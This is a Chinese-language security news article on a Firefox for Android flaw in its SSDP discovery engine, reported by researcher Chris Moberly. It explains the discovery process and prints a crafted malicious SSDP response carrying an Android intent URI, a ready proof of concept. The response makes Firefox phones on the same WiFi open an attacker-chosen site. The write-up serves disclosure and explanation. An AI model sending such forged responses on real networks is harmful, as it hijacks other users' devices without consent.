澳大利亚安全研究人员Chris Moberly 近日发现了Firefox安卓浏览器中的安全漏洞,漏洞位于浏览器中的SSDP引擎中。攻击者利用该漏洞可以对连接到同一WiFi网络的安装了Firefox APP的安卓手机进行攻击。
漏洞概述
SSDP(Simple Service Discovery Protocol,简单服务发现协议)是一个基于UDP 的协议,是用于发现网络上其他设备的UPnP 的部分。在安卓系统中,有漏洞的Firefox 版本会定期发送SSDP 发现消息,寻找要投射的第二屏幕设备。这些消息会通过UDP 多播的方式发送给239.255.255.250,也就是说同一网络内的所有设备都可以看到这些消息。如果在本地局域网中运行wireshark,就可以看到相关的内容。Firefox 中的发现消息如下所示:
- M-SEARCH * HTTP/1.1
- Host: 239.255.255.250:1900
- ST: roku:ecp
- Man: "ssdp:discover"
- MX: 3
本地网络上的所有设备都会响应多播并提供位置来获取UPnP 设备上的详细信息。然后,Firefox 会尝试访问这些信息,希望能够与UPnP 规范一致的XML 文件。
这也就是漏洞所在。攻击者可以运行一个恶意SSDP 服务器来响应指向安卓intent URI的伪造消息。然后,intent会被Firefox 应用激活。
比如,下面的响应消息就会迫使所有本地网络中安装Firefox 的安卓手机启动浏览器来访问
- HTTP/1.1 200 OK
- CACHE-CONTROL: max-age=1800
- DATE: Tue, 16 Oct 2018 20:17:12 GMT
- EXT:
- LOCATION: intent://example.com/#Intent;scheme=http;package=org.mozilla.firefox;end
- OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
- 01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
- SERVER: UPnP/1.0
- ST: roku:ecp
- USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
- BOOTID.UPNP.ORG: 0
- CONFIGID.UPNP.ORG: 1